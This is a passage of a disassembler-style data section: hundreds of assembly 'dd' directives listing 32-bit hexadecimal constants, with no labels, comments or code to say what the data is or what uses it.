dd 36D6D43Fh, 0F9D6D050h, 70BECF34h, 49B308E3h, 65624AFh
dd 0A4C887Ah, 0AB950966h, 8568C367h, 0E7E44BBCh, 80094921h
dd 5EF97A5Dh, 84D8E8A2h, 9BFA16C5h, 548F877Dh, 0B627447Fh
dd 461A747h, 0A48F7E70h, 7CF6220Bh, 4FC361FBh, 40C6DAD3h
dd 2B53B0B3h, 93F53B78h, 2338CEE3h, 708485E5h, 0D11AEB88h
dd 5362AB09h, 38CEDE2Ch, 4DBF68F9h, 39692C30h, 27D43777h
dd 0A60DDCABh, 1D676EAFh
dd 0D98D1A54h, 64974A8Fh, 0C6D9FB51h, 55218FECh, 2947EF75h
dd 1EB486F6h, 43C4AC54h, 258BD716h, 0FBC616FEh, 0A9D72D2Ah
dd 0C87B45C8h, 478802A0h, 0EB8650EFh, 9427E76h, 0BF9523D3h
dd 6A16C9BAh, 73070F32h, 51BD0951h, 7E81D9D4h, 26A6A02Eh
dd 8BB77CACh, 0F76BC925h, 0A2E48A0Bh, 0B310A613h, 2961E0Eh
dd 509365E0h, 0EC2C4411h, 2D3F2F7Fh, 84C1EF79h, 183AC42Dh
dd 1390FC09h, 6056CC77h, 0EFC3D302h, 0DEAB2959h, 224A0A57h
dd 4D525B71h, 6CB9F079h, 3C4B3703h, 7732FC76h, 719F0961h
dd 0A641C889h, 0B8E57BEFh, 41FC780Fh, 0F6EF7C47h, 5D259F43h
dd 1F3BADF3h, 47A1F1Bh, 14BA5A13h, 7B3C2E2Eh, 0C4737326h
dd 322DC79Dh, 5E58F25Fh, 0F0AF038Eh, 0E79E60B2h, 0E4A934E0h
dd 0A95B86CBh, 0C997CF28h, 0BC101EB2h, 8BFB7E9Ch, 159BDD38h
dd 41C44AAh, 4B7DE75Fh, 0D0658761h, 449009BBh, 8FCCDA01h
dd 356DD1AEh, 6802A493h, 2A97628Fh, 0CBBDADCDh, 145E1B66h
dd 0F6E2BA15h, 0BE82A55Eh, 32C9FB18h, 0E3B84B57h, 6214D4ACh
dd 0F42D67ACh, 771346Ch, 0AA3D841Eh, 8EE7A17Fh, 272C5C47h
dd 32B55759h, 8F7792A3h, 3E784468h, 9EF6A9CBh, 743181B1h
dd 73AD451Ch, 653091D3h, 0C976BA58h, 0F936B50Fh, 3CB014A2h
dd 75255B73h, 0B5901A5Fh, 0C88D176Fh, 6581E23Eh, 55E6646Eh
dd 59BF6302h, 38584E8Ah, 8B64B098h, 0C504D993h, 97A39EE4h
dd 0F2DB4930h, 8233C212h, 0BD95F958h, 8290B56Eh, 65C9F4C1h
dd 0A6DC2743h, 2B52625h, 33A8A5AFh, 3EB9E3A3h, 0A75075DAh
dd 52A00B39h, 0E8ABDBFDh, 0F0E00238h, 2FA8B24Eh, 1FB4F99Ah
dd 64E48F9Dh, 4D2CDF4Bh, 3B190B7Bh, 0FCABFC36h, 0EC6FE1E6h
dd 0EE43663Bh, 26DDA7F9h, 0C02933CEh, 7B1A7151h, 16F38F9Bh
dd 6468E62Ah, 59AEA8AFh, 0ABC13CD8h, 0D928A95Bh, 30749D96h
dd 61197DF6h, 64A16ACFh, 0A25C6711h, 54F02DDCh, 9F6C0E25h
dd 7CA2BD24h, 331BEFA0h, 8DD342E5h, 0C7F89D28h, 1FC0C4AAh
dd 6A94F6EAh, 0CC8C8986h, 921C3110h, 0D4AF780Ch, 79F9D6A3h
dd 0EB6C2FF7h, 9D4DA74h, 39BB4BB5h, 0F6C5721Bh, 6224914Ch
dd 84E64F85h, 0E933E267h, 7479FB2h, 0B7C96E7Ch, 0A1C9A853h
dd 7C4F45A2h, 31FCE86Dh, 8EDC6322h, 0BBFAAFA0h, 7FE47Ch
dd 13EE2895h, 9FE0DBFCh, 86A566A2h, 0BA0DD5C9h, 0B65B1E7h
dd 1D639A81h, 4894D88Dh, 1852E7DFh, 0FFDB1ADFh, 8EFCFEF0h
dd 463C164Eh, 69FF3831h, 1033D52Ah, 5183237Ah, 3C3AB514h
dd 76B5B625h, 299B839h, 109352A7h, 184CC45h, 0ED528507h
dd 57CA1B02h, 4F316584h, 2249B9D5h, 91FE52BAh, 0B719D01Fh
dd 8AE29505h, 0F0FBEB6Dh, 0E357B474h, 7CB67B1Fh, 1F366DEh
dd 21D5DCCAh, 57318B56h, 79B75372h, 57D364B4h, 97FA4967h
dd 7984FDE2h, 8A4F8B09h, 83A22171h, 6193BB4Bh, 7C698B8Ch
dd 0E8FC1BFDh, 5B617266h, 982DAC4Eh, 7785CB01h, 0BD3FC70Eh
dd 9A630C35h, 9CE1D072h, 105E3B33h, 6CE25CD5h, 80D22EFBh
dd 5FE1725h, 0F22D55DBh, 0A8EC6Ch, 0D2E8780h, 8D208415h
dd 0E33E90A3h, 0A1B96E90h, 0CFF1F67Dh, 12347CA0h, 0CA8B561Bh
dd 1E422351h, 725580D3h, 0D56C7895h, 0C1406614h, 0DF3AFEC2h
dd 8053DB26h, 0FA92859Eh, 884A8478h, 0CD4408AEh, 4B9102F3h
dd 924D755Fh, 2EDB63EBh, 1F9B9E59h, 4BB4694Bh, 447C2337h
dd 2817DF3Eh, 0E2AD2C5Ch, 6B07569Bh, 1DF19446h, 55416F0Ch
dd 0C8DF54BCh, 7D33030Bh, 61EF7E56h, 898C2776h, 0B89CA8CDh
dd 3DF826ABh, 0EAFDBE79h, 46B08E0Ch, 500A20C4h, 0EDD3755Ch
dd 85A78F46h, 0B1C5B7D9h, 0E30CA058h, 0DCE097E9h, 0A76F380Eh
dd 9917D047h, 0C7B3690h, 0C577475Bh, 0DABB1396h, 0C90499E2h
dd 0A43734E4h, 5943C411h, 80840CBh, 8E78F01Fh, 0AAE66FF4h
dd 0D882E0A5h, 6D36DD8Ah, 4F3D6831h, 4D6D62F8h, 97441824h
dd 0E0477B62h, 98A4263Eh, 6369FB36h, 331A2D33h, 79BACCFDh
dd 0DC9EF35Bh, 7B329B06h, 0B658A825h, 67A08F26h, 0D7E11043h
dd 103B56D8h, 15061563h, 74BBECF2h, 7B3A9CF8h, 0C730EC1h
dd 0F3607833h, 0E18E75FBh, 0DD699D6Fh, 48F9ADC3h, 7B542B3Ch
dd 2A8C1A8Ch, 86798233h, 0DDD33624h, 7225E328h, 6E2F480Eh
dd 457FE0D9h, 8A67B9A8h, 190FFB81h, 0F2902079h, 8E9D0D9Fh
dd 0F0B34BB9h, 655A113Eh, 0D02D7E30h, 0BEDCDF14h, 80DC15E2h
dd 0FC21756Ch, 0F4AFE857h, 0F71C546Eh, 387F98ECh, 802154E7h
dd 75489D8Bh, 79C53988h, 7AE44DF1h, 3B509938h, 0CB8301AEh
dd 1D4CB4D9h, 5FC0899Eh, 2AAFB468h, 4B96733Bh, 3BBA20D0h
dd 4A1CE54Dh, 239669DFh, 0CD212CADh, 0CD8F6C56h, 0B2870505h
dd 8FA54940h, 4E6B5C0Dh, 0BC8FAD78h, 33D13017h, 0B2D53361h
dd 0D37D89B5h, 6988048h, 4F0ADD3Ah, 6148A9B6h, 3A12B7E6h
dd 55CD8187h, 0A273A957h, 0C7A14B36h, 5B4FF349h, 0C6C2E4CAh
dd 0A84BF108h, 26549BFFh, 0B1CC78CBh, 7DC23476h, 57CE5D53h
dd 166CD12Bh, 5EEA8924h, 0E7782D2Ah, 13EC680Dh, 0BB1A42F6h
dd 1FEC03BFh, 37007D1h, 0B827923Ch, 0A5F7454Eh, 7EAE1FE3h
dd 0D5B1B70Bh, 0C091A095h, 9ADC3892h, 0B58BF476h, 0F2E9FF3Ch
dd 42B8FAE6h, 92E955E1h, 0A230042Ch, 91B3BF72h, 0CDBF98DDh
dd 0A23BC8Ch, 9595E521h, 0FCE6AE9Eh, 4E75D8E9h, 0FAFE652Ah
dd 0F2DEDA6Eh, 344DF017h, 86C7431Dh, 0EB232D53h, 0EC01CCFFh
dd 0C1114D79h, 9E791E56h, 49F625D4h, 0FF795406h, 9DC5CD30h
dd 9892D649h, 0A3DAA640h, 81D41C29h, 0B19DF5Ah, 964A709Eh
dd 969B2239h, 86781D5Eh, 0EF006400h, 3ABE5DCBh, 0F9E92F69h
dd 0B91DC096h, 0B4288ECAh, 0F96B39B4h, 84B310EAh, 0B7D0B3E1h
dd 0A096E3A0h, 0A037CBD3h, 59E33CB1h, 0F7BA46B2h, 0AB426E95h
dd 5269042Ch, 9C499779h, 5399EC80h, 0F6182F08h, 73E1999Eh
dd 0FB713B3Dh, 0FC0C60D1h, 0F592197Bh, 0B10D1DCCh, 196E067Ch
dd 9B285363h, 9941DDD0h, 1CCD7D31h, 0FE1951D6h, 0C57DC9CFh
dd 0C01A5213h, 0F890E374h, 0DFD73C87h, 6BA049D9h, 4F9E6BAEh
dd 61578945h, 0A85F9795h, 4F6447C8h, 0B7589D20h, 750A7D36h
dd 7EE360F6h, 5F5B2865h, 9E158D6Dh, 2A9F60A6h, 0D5D087EBh
dd 0A9C656DDh, 99211A31h, 0E6846220h, 0B7EF133Bh, 31497516h
dd 6CFF5214h, 90C4C5D6h, 2BB7EA0Bh, 73B4AE5Bh, 388AFEDFh
dd 0C023312Bh, 3464F59Fh, 0C5C2B2CBh, 0CDF0A78Eh, 5FD422AAh
dd 54647411h, 10ACC8EBh, 43E54A11h, 0A7466D25h, 599BF260h
dd 326024FAh, 84F6F232h, 0AB8CF29Ah, 0A87E7CB8h, 0CA22B3E1h
dd 373EED9Eh, 0AE344A2Bh, 3FC48E2h, 9C76509Bh, 359C6C9Dh
dd 0FFB5F21Ah, 0B1464D6Dh, 0B8034E6Eh, 90960489h, 1EBE4933h
dd 0DA392A7Dh, 4DCCFB0Bh, 5D37844Ah, 0FCEF6DB1h, 231CDDA0h
dd 67488CD7h, 8156295h, 0BBDE4353h, 1BF480F3h, 0B83F07F0h
dd 0B9CCCBDEh, 800E1378h, 6CC488F6h, 2A1BC181h, 78E1BD0Ch
dd 60616AB1h, 1F6E8457h, 1CC5C900h, 0EB7AD744h, 4229E8AAh
dd 0D7BAD228h, 634B2569h, 0D85E8F9Bh, 6B7D2F6Fh, 4C97ADF6h
dd 0FCA5186Fh, 44076615h, 0CE31C928h, 0D0F771ADh, 42BFA063h
dd 4A28A752h, 0A2C60A9Eh, 8BA77235h, 2C2AAF72h, 0E0CC9533h
dd 60A4276Ch, 0DF36C534h, 206BB98Ch, 0BD5EE2CFh, 6DB90DA6h
dd 0B5B7C3C4h, 2795958Ch, 6DEE5B56h, 0C61B0879h, 60DF6A2Ch
dd 0D0FB9ED9h, 4F32B6C4h
dd 20F809D9h, 0FCBCDF75h, 9CB57C44h, 836A2739h, 0D8398003h
dd 19D7C540h, 81079AD5h, 0CAEC5B8Dh, 57CA6571h, 0ABDAE12Dh
dd 1ECA3327h, 0C55174A7h, 81FFC567h, 95F0CF5Bh, 0E439BDD2h
dd 3EEF417Bh, 0CCAC8963h, 516343DCh, 7B171B50h, 0DF6EB172h
dd 0BF800AEDh, 2FAB9D84h, 0A3779E0h, 0D95102CAh, 2BEFB5A7h
dd 4E514EF3h, 897800Eh, 0FC83801Eh, 54B35A78h, 6AE0FC37h
dd 9ECB19E1h, 8A401707h, 0D4163E15h, 0AC01B01Eh, 3624E685h
dd 8F55ED52h, 20058F1Eh, 0A3264421h, 23CFEB48h, 526831ECh
dd 0FF1AF5DCh, 0B9FDB434h, 0B731D4EFh, 6FE98207h, 5BA954B4h
dd 40A141D2h, 0B6DA73DBh, 0E27FA444h, 5E5A97EAh, 9F5C0BA2h
dd 0A8AD860Bh, 0D5443EF8h, 5F7E9FD5h, 8E02439Dh, 0F5C7E54h
dd 8F212E07h, 802CF967h, 2CE0F2D1h, 0CE01A095h, 0E54A9CD5h
dd 6B09B700h, 7064C7EDh, 793A59D2h, 87269522h, 0FC5B6B26h
dd 109FF908h, 8402F023h, 3CF19C86h, 0DBBF8CB0h, 6B158EB5h
dd 0C326B9C7h, 0AF972BA0h, 751E2A8Bh, 57D48604h, 0B8FAF5A4h
dd 8CA67BBFh, 9E98203Fh, 0FD55D960h, 0F1737D49h, 57E12D26h
dd 14A164D3h, 0C3BED659h, 6AF08595h, 0FB0BBED2h, 0A6B2BB4Eh
dd 77CE57BCh, 0AD4B86F1h, 0B7EE24h, 0EC2659EEh, 356C8FE5h
dd 893022A9h, 846E06D6h, 6F0A80D8h, 38FD86EAh, 4AF26551h
dd 33E0775Ch, 3C3ABEE3h, 0A37212D0h, 79C0CEEh, 0BBAF9A67h
dd 1ABE134Ah, 0F23D4F91h, 69998C5Bh, 163995DFh, 0F25BEEB1h
dd 546200A7h, 6267DC4Fh, 2FF26F43h, 28F5327Ah, 88B0FF33h
dd 16E57E6h, 49B3741Eh, 6EE75651h, 0CE0AFB16h, 0F2B09420h
dd 0C17717C4h, 5A05E5D2h, 6B6A520Dh, 0BDAB41B5h, 0F3CBC1C1h
dd 6E11F256h, 979BB3E2h, 4CB2185Ch, 2D05DCDEh, 0C252E3C2h
dd 22A97B50h, 2F50D3E1h, 0DBB74248h, 8FFC9CEBh, 37168E59h
dd 5A4B33E7h, 40A82989h, 0D426B429h, 5C447506h, 48DF7A43h
dd 592F7428h, 375EB5E2h, 0E34AD28Ch, 69FA7795h, 960FBADh
dd 11CB4EC0h, 0E326E14Dh, 2759FF15h, 0FD237068h, 0FC970E00h
dd 951456BFh, 0CA0B2BCh, 3C6A9F9Dh, 0ED9C7600h, 8D07CAF2h
dd 1F92F210h, 0C5E3DB4Bh, 194C5F2Fh, 506C682Bh, 0F27F17BDh
dd 817381D1h, 0F9DB243Fh, 0E7BDAC71h, 0C79C2559h, 44E6358Fh
dd 8E65148Ch, 0D10B786Fh, 0A8B85248h, 0F23E2D11h, 5C985B66h
dd 42133E8h, 69B0EBD8h, 9BFDC6C6h, 0A2B81B4Ah, 0E0A27228h
dd 544E5D77h, 0BE05B927h, 7F418B40h, 967B12EAh, 0ED89040Dh
dd 0CE28F794h, 62379072h, 0D008A7AEh, 0BC624C0h, 0FA93BF40h
dd 4F0E9D8Ah, 70313987h, 2661D364h, 55A0C59Fh, 2C73ABA3h
dd 362EC160h, 4FEDE9E2h, 91A9C65Dh, 9CCB5932h, 0AE6F0C3Fh
dd 0EAE133DDh, 5140C53Dh, 0B634DE46h, 0E56308F6h, 5DF7CB7Dh
dd 864061F2h, 3B677A28h, 0A9B5B645h, 0B45A63C4h, 53ECD933h
dd 0B61FCC1Fh, 0AFFFA3A6h, 1672D686h, 512E7A65h, 0EA1BB9EDh
dd 0C3A3C6D8h, 0A32FA184h, 0CEC79377h, 2283A5h, 18B2F4B9h
dd 0C4968661h, 0A5FF0608h, 844C1FBEh, 0C323842Bh, 0E04BCFFFh
dd 0EEB7EC01h, 514DB974h, 956313D6h, 789150AFh, 0DAD120h
dd 5775BD42h, 0E410AC09h, 69807CA4h, 2DF0460Dh, 38C371D4h
dd 49164D8Eh, 22B7ED28h, 82682402h, 0B4785080h, 5F14E3A6h
dd 0BFA2C8FEh, 81F274B9h, 0F3CC249Ch, 2525B09Ah, 984F405Bh
dd 6F72DF90h, 0B3E19274h, 39E7246Dh, 29F81D42h, 9CDD63D9h
dd 683C5DBFh, 4CC0C792h, 0A98B60CCh, 1927FA6Bh, 0C72E6980h
dd 915BAD54h, 2D99E6E0h, 1AC055FFh, 4AC95909h, 96BEA578h
dd 79A073EBh, 0F9108493h, 3384A6C0h, 31C72877h, 237511CDh
dd 58FB01C0h, 3666D6DCh, 0D830EF09h, 0ED43F92Dh, 599A7979h
dd 33CFF7FFh, 0A28BD1D6h, 2E713DF2h, 0BE82CD58h, 0E457F403h
dd 9F9DCD7h, 0C6702D1Ch, 2CA0A047h, 7FE6AA43h, 91380972h
dd 17D5268Dh, 0E981A68Eh, 93120EC9h, 0D05560D7h, 6FDCE8CBh
dd 4B263701h, 0F5FF0A2Fh, 5629E182h, 988FD25h, 6347D6BDh
dd 2979841h, 80EDAEDEh, 246E3AA6h, 0EBA4DFD5h, 68559068h
dd 0D7FD5DE5h, 6BF6FC6h, 1ECEA977h, 5144C210h, 0D2AA429Dh
dd 0F07EA06Dh, 39A48747h, 87DEE24Dh, 1BAC596Ch, 0F7D31672h
dd 8086884Eh, 670B6418h, 11ABCD52h, 48496A02h, 71CF4D92h
dd 185EE4E3h, 65F6F47Ah, 0AEB36F02h, 5BF421E3h, 0E0FD1EFAh
dd 2EE89EBAh, 89ED07EBh, 0A2DDB83Bh, 0E777FB86h, 3CB09C39h
dd 0FC8F2CC9h, 8DDCF184h, 0F2C7CC51h, 3AEC9058h, 0C52DB404h
dd 4CE9DFB7h, 0E6165A40h, 41B5BB9Bh, 0BDB41C24h, 0C480BB11h
dd 0DF486745h, 8FDF0723h, 0AE7A54B1h, 972FC658h, 8115867Eh
dd 319F4D52h, 0CA96E7FBh, 7ED13457h, 0A2A1CC6Bh, 0F5BA0A3Dh
dd 0CA07AD1h, 0F9C78261h, 3B45B7BAh, 0CCAF95B9h, 371C2435h
dd 345655D1h, 1271ED0Ah, 4C2835C6h, 51B37314h, 90AF6EA4h
dd 48A3F95Bh, 5895CC94h, 78FE966Ch, 0EF3469B8h, 16E94433h
dd 4F0EF0B7h, 0A5D3DFh, 9B26B4F6h, 7841AD7Bh, 0AEFC582Ah
dd 5C708E63h, 1BF8F062h, 674557E0h, 0CCA83C9Ch, 7CA6C2E4h
dd 0A6A60514h, 157277C8h, 0A0D82560h, 3F39D51Ch, 238EA448h
dd 4CEBAE42h, 8DC93243h, 0E1C65AD9h, 890EECFBh, 7A3F238Fh
dd 0D38B8BD8h, 0E055D468h, 335787FBh, 0CD32522Fh, 0BB990687h
dd 0BB8D87DAh, 52450863h, 0E8323C95h, 225E0872h, 5C01066Ah
dd 0ABDACBC3h, 346B8D54h, 0C6AFD29h, 1A301431h, 3686BDD3h
dd 626E19CBh, 0F88F79D9h, 0AB3A7B73h, 950483C9h, 0ADF117B5h
dd 0B120C644h, 0F3CDBB60h, 0E55FE3ABh, 0A74C02C7h, 0C2578B18h
dd 9EEB7399h, 0FF4453F7h, 0DC8BC974h, 21238F82h, 0E5CB30Eh
dd 674F7CD5h, 0D1B5FB94h, 531FEC7h, 4B46398Ah, 0BA0DD40Dh
dd 0FCC563FEh, 0E72BB0CAh, 9158283Fh, 0F9F204Eh, 0A0C49FF6h
dd 0EDA03630h, 98509F94h, 8ECB4610h, 0DF9FF63Ah, 5A505E0Bh
dd 0F2D87331h, 97429526h, 0F2C171DEh, 34DEA88Ch, 51C10CF2h
dd 71D91D3Ch, 9AB70018h, 0FDCAC31Bh, 463ACF4Dh, 0CA3E7BE5h
dd 0FC2362F1h, 79F2DFC3h, 5C1047AAh, 44ABE7F6h, 74860F9Eh
dd 8FAFF0F0h, 0EFBBB434h, 9A14C921h, 878DDE2Ch, 28477154h
dd 5623EC91h, 11DBC009h, 3F7678A6h, 485C5C35h, 812DD0B4h
dd 962180ECh, 0E8CCC3E7h, 548A4B13h, 0C5D83ADBh, 27DEE28Fh
dd 0B4216C2Dh, 0B35B8F17h, 0E28674CBh, 6AF73337h, 0AA5DD18h
dd 5D247F35h, 0A1341F53h, 0B8CD245h, 0EBDEC596h, 6C605B87h
dd 839F4C96h, 0FEF9B3C6h, 1E3D00Eh, 755D953Fh, 6BC7DA6Eh
dd 971369D0h, 0B9A573E7h, 0AA3F033Eh, 5797CB3h, 666570D6h
dd 43AF1323h, 0EA152270h, 3B82AC12h, 608D3E8h, 0B0227E0Dh
dd 0F3A4A4C5h, 45D59FFDh, 0BF40768Ah, 2970B3FEh, 0CD2F9BBEh
dd 336F6E1h, 0CE27E964h, 0C768A3ECh, 9167A173h, 0A1643AFCh
dd 81878FB4h, 5E5DE6E0h, 53647142h, 8A33965Fh, 47E5A889h
dd 0DB5AFBDAh, 4E5D4385h, 42375296h, 9BB76B7Bh, 858DC761h
dd 3C3BB1C9h, 65CA3D4Eh, 9EE8A6DEh, 8FE6D8B9h, 0A3A35E4Eh
dd 84445AE5h, 684AD5ABh, 9AAD414Eh, 24075C1Eh, 0C5902B9Dh
dd 0BE2DCBF1h, 0B153CDD2h, 0FC2D3678h, 6802D831h, 1517A8D5h
dd 7415B32Ch, 630E4787h, 2B169B6Ah, 0BB7743B1h, 22B015EEh
dd 0E9CA6727h, 0DDB1B438h, 4E9DED4Ah, 999CE8C1h, 149F0AB0h
dd 658F5037h, 0D09B1C65h
dd 0F16C0A62h, 2CE4AE6Ch, 79C8B758h, 9A0D92BEh, 0F770308h
dd 0BBFE979Fh, 22AC57CAh, 0DE21934Fh, 4EEA1CFCh, 87FE394Ah
dd 0C1C10E83h, 0BAF37E4Fh, 0D13B9AACh, 0DE5B68EDh, 0F3B65AB8h
dd 7768703Ah, 3DEC65AAh, 687E7E05h, 694332E7h, 0A2198762h
dd 0BDB53742h, 3480E04Eh, 0D09F3091h, 7F3D7DC7h, 0CD33696Ah
dd 74EA353Eh, 0C6EC7C4Ch, 69EABEAFh, 8610C547h, 50E23D23h
dd 0DACCA05Eh, 1F1BCE52h, 6E33D892h, 0A1267CFBh, 34EEE447h
dd 0BB67DCF5h, 4181DD37h, 2AC723CDh, 7CEA76D2h, 2CA125C6h
dd 832C7C3Dh, 9E2900C6h, 0CCD405E3h, 0A82EA357h, 49D1DF70h
dd 82299527h, 0E8831F66h, 6496453Dh, 0E8AB6DE2h, 0C1129D3Dh
dd 0C30E4A0Ch, 0DE1964CDh, 5F537393h, 11A5065Eh, 90BE72D2h
dd 4CDE7C3Fh, 0BA24BB0Dh, 60D16738h, 89FA0958h, 6123548h
dd 7439287Eh, 9E43400Eh, 2148867Ah, 84185CA5h, 3841E4D3h
dd 2E8F00Bh, 0ABC3A0C1h, 734E8A68h, 176EEF66h, 9B075945h
dd 72189C71h, 92FAC87Bh, 0FB07EF34h, 44AEF4B5h, 0AE569355h
dd 5EF75796h, 137664A6h, 94E83146h, 0CEAD2AABh, 8C4432AAh
dd 79F4FE58h, 38480453h, 3847917Eh, 7059A2EEh, 92995A30h
dd 3242FE0Ch, 0E036E9EDh, 37C22BC7h, 9F1465F5h, 4B582472h
dd 0A976E4B2h, 0A565C9EAh, 0A61CBFF6h, 0F734A896h, 36CB4E56h
dd 0FC756ED9h, 2F802202h, 0A8D9558Eh, 17032FBBh, 9559866Eh
dd 5C7DA717h, 8CD2C5C1h, 0CE67A524h, 0A12D3EF2h, 6BB08A9Eh
dd 0E5BC143Bh, 0CF49878Fh, 849EF246h, 0F9D051E1h, 0CF217118h
dd 0C8606798h, 0D2C5C8C1h, 77A0A01Ch, 2A6DBB29h, 5CA33AA5h
dd 74FA4D39h, 2424DBh, 3498ECAEh, 0CDEFBDE5h, 4D08F874h
dd 0EF181D73h, 84E7A369h, 0F9D520F7h, 55F4F51h, 305F0E3Fh
dd 8A81B16h, 0A9C6179Ah, 27F39BF2h, 63EBECFAh, 8810C5EFh
dd 0C8651BF6h, 852C5A22h, 0DCA1E630h, 0F78B9D4h, 2A9466EAh
dd 7BCB9E1Fh, 8F9FCF77h, 0E5F3D5F1h, 4D44B3BCh, 0C78CB5F1h
dd 0CD6EFC23h, 0E210B9h, 60B28C7Eh, 85E4FB5Ah, 4EDDB35Ah
dd 909969FDh, 3758723Eh, 2EFBE1C9h, 586D9979h, 0B737F2BCh
dd 6CFD4756h, 4A8764A1h, 828BBB2Bh, 34D62094h, 0BC6B0C41h
dd 0CF9A72CDh, 877122Bh, 8E068Eh, 7EC9F8B9h, 5DDA6C57h
dd 463AE99Ch, 0BD8B7A34h, 513892B1h, 671CE98h, 1CEF6E3Eh
dd 0BF0AEC00h, 526394F7h, 0F203C2D9h, 34467699h, 0A780E57Bh
dd 61C69455h, 0C1ED0C92h, 0B6494C34h, 0C0E0A4E3h, 7F920959h
dd 92C8BBD2h, 0CE1FB253h, 0E7C10A5Ah, 0D70DDEE0h, 0A804600Dh
dd 0C6250F38h, 0E018D3E8h, 9D3943B9h, 4393E6B8h, 0D160946Dh
dd 0DD1ABAE0h, 18F86F44h, 237A1E82h, 0C39EB341h, 142BEE8Fh
dd 0B7DFF44Dh, 0BEC6A0C4h, 50CF9EC6h, 0BAC118DEh, 0A1B85590h
dd 0EE7F00B7h, 26EDDA7Dh, 8394880Ah, 147B9EC0h, 466EF922h
dd 65163D90h, 6243D807h, 955173C8h, 0B2B686C4h, 94EA0C33h
dd 0D74ABC6Ah, 8C584281h, 5D153CFFh, 0DFA260B2h, 253B09E6h
dd 0D71CB18Dh, 9B09E827h, 2FA70580h, 0BEA3A641h, 2B9D48E8h
dd 0A294E28Eh, 0C1EA2493h, 36E6686h, 38333C09h, 0BC757147h
dd 71FE48C6h, 40D45E0Ah, 0D67477CCh, 0F6F969DBh, 256EC34Eh
dd 0DE5B89DCh, 0BCA2528Bh, 0D76E6F13h, 1447102Eh, 6BB44290h
dd 0B7E054FBh, 602C73FFh, 353447A6h, 0AEC9B9A6h, 94FEC227h
dd 0CFAA67D6h, 0BE94EE28h, 81CD64D0h, 9B660CE0h, 949859BFh
dd 14A4C702h, 38CB91Ah, 785992AAh, 0F8F6F74Bh, 36B0CFDBh
dd 446B38DBh, 0E7F920FEh, 0DDB7BAB3h, 61F1C7C5h, 3EA9A932h
dd 64A573BCh, 0B5C160FFh, 744B3CC5h, 8DA3168Fh, 84E27F32h
dd 0D536B84Fh, 2FE1F80Bh, 0ADE4DCC0h, 0B0E177Fh, 6D34ADD9h
dd 8D909790h, 9607C2F7h, 52B67FF3h, 1F40418Ch, 3FDA44AEh
dd 0D1CA8B45h, 2A7E5DF0h, 0F862ECFFh, 0FCB57D22h, 4D60AE23h
dd 2DAE3045h, 0F59EAABBh, 0AF9E0532h, 0D58A4A70h, 13440D02h
dd 0ADB2E722h, 4557CECFh, 0EC4D2B77h, 4CB81331h, 6DE43FCh
dd 63C8BEFCh, 42B09F94h, 0AF0D0249h, 0AC04B83Fh, 0AD048383h
dd 3A900E9Fh, 75721167h, 0A8DAB048h, 19801661h, 0E3BCAC0Eh
dd 64D91DE8h, 0E594931Dh, 0FE30BDECh, 59BF2146h, 5742E327h
dd 0D11C57Fh, 0E852CAF2h, 0AEA77EE0h, 8507B84Fh, 0C91C28B9h
dd 0BB0F0B1h, 873BD872h, 53A23809h, 0AB8414FCh, 4CB7ADCh
dd 0BBA383BDh, 0EC1FC504h, 0EEB051D0h, 50EB1BD1h, 2D9555B4h
dd 0F7653F13h, 55163095h, 0D66C8DC3h, 0D2AB422Ah, 0E519F969h
dd 0AB17EC36h, 72C6A476h, 0ECB09640h, 0D37CAD47h, 1F88D793h
dd 5336EF87h, 0A2788F92h, 0D075EA2Fh, 2F252189h, 1415B9F0h
dd 83A02335h, 0F949F275h, 0F59CE87Eh, 5EA5F1CCh, 9E96CCE5h
dd 532D0EBAh, 0CF556E08h, 0F7ADA78Ah, 0D06A634Fh, 26DB6007h
dd 8268C67h, 93EEE18Dh, 1F083FFh, 0D6170084h, 250FE3F9h
dd 1BC496FEh, 2C6AA89Fh, 37866DA7h, 0F030D76Dh, 42572DEh
dd 0F506A127h, 0F7717BE1h, 36EA8EC5h, 851348CCh, 0A64A4D77h
dd 2F672827h, 0D44BB7A4h, 6679BD54h, 11692640h, 7E15722h
dd 37FBCB1Ah, 0DDB70FC2h, 7E5084EFh, 361E1B80h, 0A58C9BAEh
dd 0E786CE9h, 117E2E7Ch, 12080EAFh, 0CD4D8Fh, 34BFED2Bh
dd 54E23A46h, 0FE97129Ah, 2108F3F8h, 9E2E43C1h, 0B4F8E6AAh
dd 0A9CE2D34h, 0F81AF987h, 1FF6EDDDh, 0A294323Bh, 435AC4B9h
dd 0FB28438Bh, 7D873857h, 45AD9FEAh, 1396FE35h, 0B52F1FDEh
dd 1BBDBF6Ch, 6F518458h, 0C728A604h, 56B80FC6h, 83994B7Ah
dd 2D9159E8h, 0D376CE7Ch, 0B4F1E399h, 6870A6FDh, 415AEE39h
dd 445B2F46h, 0A83E69CDh, 5FE8A569h, 38824480h, 0E673726Ah
dd 24935235h, 5DB43A3Eh, 0D24EBBB5h, 7F2F167Ah, 636C935Ch
dd 0CE220705h, 0D6D5C6CAh, 0E518BEE4h, 630EF160h, 0E8B9B121h
dd 936F4C41h, 451C77B6h, 941B70F1h, 0E39C5CCh, 5731411Fh
dd 9EE4BB2Ch, 81D76F1Fh, 0F5612B6Ah, 84B4C626h, 0E75EA3E5h
dd 960E8EFEh, 0E4F63890h, 0B2E5EDF8h, 31A2BEFCh, 61FCC8Dh
dd 9E9D0086h, 75092258h, 739D63D6h, 8D45B5Bh, 6EBDD944h
dd 752EC99Ch, 78B6DDE0h, 0D9E8255Fh, 7EC0EE18h, 3E378749h
dd 1DF4BAD3h, 0D8A42AD4h, 1AA83A0h, 0B6125092h, 0ECFF4CF6h
dd 0E55B074Eh, 0EFF3EAA7h, 7B2F4E08h, 97F1C534h, 7B3A8039h
dd 4C1AFA72h, 9995BAC5h, 2015C728h, 26B1E338h, 15BFC227h
dd 0D8853171h, 2B58944Fh, 95BCE573h, 0D3378492h, 2B1E4601h
dd 0EAE5DB94h, 5BF34C4Ah, 0B878B869h, 0A26C5C8Dh, 2673464Fh
dd 0C250F742h, 7DA452B6h, 0B5B71EE3h, 267E62EAh, 6EB8F5EEh
dd 0B95E30D3h, 441C230Fh, 4C218979h, 0A6605EEFh, 0E7E30CB0h
dd 7017EF7Fh, 73EA05F5h, 75610644h, 7FCF58E6h, 0F2E97012h
dd 14D6884Fh, 0B7EB9BD6h, 0A999FAFEh, 9C3BF31Bh, 0D9C76DB6h
dd 3DFB6CADh, 0B5358457h, 9E371018h, 0BBA304C1h, 16BB3CB5h
dd 0B45B3E79h, 737DC7Fh, 722AC139h, 55A7DEC7h, 0ED1C2A63h
dd 0D68D9B9Ch, 0A77331B7h, 0F446EF3Dh, 0D93C112Fh, 1DAF35B2h
